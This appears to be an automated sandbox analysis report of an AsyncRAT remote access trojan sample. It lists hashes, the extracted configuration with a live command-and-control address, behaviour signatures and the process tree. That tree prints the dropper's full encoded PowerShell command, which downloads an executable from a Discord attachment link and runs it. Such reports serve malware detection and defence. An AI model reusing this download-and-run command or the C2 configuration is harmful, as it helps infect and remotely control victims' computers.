asyncrat | d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9

Analysis

max time kernel
143s
max time network
192s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
05-12-2022 06:35

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General

Target

d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe
Size

6KB
MD5

378deda0d1313deba917adfc74173962
SHA1

cb466cdd64949febdaaae75625d5a3ce0fff6e35
SHA256

d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9
SHA512

c1411ed00aeb88b6f92702132d20dac2efacd90e79aee697e1e0431353638353a5f9fa6b575676e0426f1434cede0f59e58559822cc45067893a30f6b8300281
SSDEEP

96:Ck79rll3VI2St01vk+Al5tONtUqvkC4muMs6d3oj0dirl:J9r/33SCvkRgNtUqvkBmm6dNdq

Score

10^/10

asyncrat system guard runtime rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes

delay
3
install
false
install_file
System Guard Runtime
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/4856-208-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral1/memory/4856-209-0x000000000040D0EE-mapping.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 4812 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

dsffe4vb5.exedsffe4vb5.exe

pid process

4656 dsffe4vb5.exe
3272 dsffe4vb5.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

dsffe4vb5.exe

description pid process target process

PID 4656 set thread context of 4856 4656 dsffe4vb5.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4812 powershell.exe
4812 powershell.exe
4812 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exedsffe4vb5.exe

description pid process

Token: SeDebugPrivilege 4812 powershell.exe
Token: SeDebugPrivilege 4656 dsffe4vb5.exe

flow	pid	process
3	4812	powershell.exe

pid	process
4656	dsffe4vb5.exe
3272	dsffe4vb5.exe

description	pid	process	target process
PID 4656 set thread context of 4856	4656	dsffe4vb5.exe	RegAsm.exe

pid	process
4812	powershell.exe
4812	powershell.exe
4812	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	4656	dsffe4vb5.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exepowershell.exedsffe4vb5.exe

description	pid	process	target process
PID 3880 wrote to memory of 4812	3880	d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe	powershell.exe
PID 3880 wrote to memory of 4812	3880	d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe	powershell.exe
PID 4812 wrote to memory of 4656	4812	powershell.exe	dsffe4vb5.exe
PID 4812 wrote to memory of 4656	4812	powershell.exe	dsffe4vb5.exe
PID 4812 wrote to memory of 4656	4812	powershell.exe	dsffe4vb5.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe
PID 4656 wrote to memory of 4856	4656	dsffe4vb5.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe
"C:\Users\Admin\AppData\Local\Temp\d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAeQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADQAMgA0ADcANwA0ADEANwA2ADYAOAA4ADAAOAA3ADgANQAvADEAMAA0ADIANAA3ADcANQAwADYANAA4ADMAMQA5ADUAOQA2ADQALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAGwAdgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdABqAHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBlAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAZABzAGYAZgBlADQAdgBiADUALgBlAHgAZQAnACkAKQA8ACMAZQB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgByAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAcQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGQAcwBmAGYAZQA0AHYAYgA1AC4AZQB4AGUAJwApADwAIwByAHMAawAjAD4A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4812

C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
"C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4656

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:4856

C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
1⤵
- Executes dropped EXE
PID:3272

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\dsffe4vb5.exe.log
Filesize
902B

MD5
22ef0590c345545e384ba168af281f75

SHA1
77a5e71b08568a14c7305f479a073a27fd73bb9e

SHA256
ddc570d8f07709e4c8bbca0c8408d423f767aeabe413be9953fa999bcd66ea9f

SHA512
150d090f4d6278159a1d0eab0a4d67794c5eeed5484c6091cd055eac3a88d8e580655d5d5d3e46c62276e300d30625a1e7d1a9325ce1eb58cf2a1876777ac617

Download Submit
C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
Filesize
14.7MB

MD5
2cbd5d9d43c5c49f0580975e9e620808

SHA1
17e209b6d6c66882ed78a40d7e0d211760b489a0

SHA256
399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

SHA512
26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

Download Submit
C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
Filesize
14.7MB

MD5
2cbd5d9d43c5c49f0580975e9e620808

SHA1
17e209b6d6c66882ed78a40d7e0d211760b489a0

SHA256
399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

SHA512
26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

Download Submit
C:\Users\Admin\AppData\Roaming\dsffe4vb5.exe
Filesize
14.7MB

MD5
2cbd5d9d43c5c49f0580975e9e620808

SHA1
17e209b6d6c66882ed78a40d7e0d211760b489a0

SHA256
399a0e77326dc484fa92fd5f95f2dbd89866dfd4e7e80661634a9a83f0652403

SHA512
26e06d3d3b4f8d1198f483e2485ee107782c7f5b70ddb4d48dd84c9ef81029af316ad3a184c90921c6f1188f92d88b9fd6a152eaba5648a03bfbdea589202812

Download Submit
memory/3880-115-0x0000000000730000-0x0000000000738000-memory.dmp

Filesize
32KB

Download
memory/4656-181-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-195-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-147-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-148-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-149-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-150-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-151-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-153-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-154-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-155-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-156-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-157-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-158-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-159-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-160-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-182-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-162-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-163-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-164-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-165-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-166-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-167-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-168-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-169-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-170-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-171-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-172-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-173-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-174-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-175-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-176-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-177-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-178-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-179-0x0000000000340000-0x00000000011F0000-memory.dmp

Filesize
14.7MB

Download
memory/4656-180-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-145-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-161-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-141-0x0000000000000000-mapping.dmp

Download
memory/4656-146-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-185-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-186-0x0000000008000000-0x00000000081C6000-memory.dmp

Filesize
1.8MB

Download
memory/4656-187-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-188-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-189-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-190-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-191-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-192-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-193-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-194-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-184-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-196-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-197-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-198-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-199-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-200-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-201-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-202-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-203-0x0000000005E80000-0x0000000005F1C000-memory.dmp

Filesize
624KB

Download
memory/4656-204-0x0000000006420000-0x000000000691E000-memory.dmp

Filesize
5.0MB

Download
memory/4656-205-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-206-0x00000000061A0000-0x0000000006232000-memory.dmp

Filesize
584KB

Download
memory/4656-207-0x00000000062E0000-0x000000000637C000-memory.dmp

Filesize
624KB

Download
memory/4656-211-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-143-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4656-183-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4812-125-0x00000182CD670000-0x00000182CD6E6000-memory.dmp

Filesize
472KB

Download
memory/4812-122-0x00000182CD4C0000-0x00000182CD4E2000-memory.dmp

Filesize
136KB

Download
memory/4812-116-0x0000000000000000-mapping.dmp

Download
memory/4856-208-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4856-209-0x000000000040D0EE-mapping.dmp

Download
memory/4856-212-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4856-210-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4856-214-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4856-213-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download
memory/4856-215-0x0000000077BF0000-0x0000000077D7E000-memory.dmp

Filesize
1.6MB

Download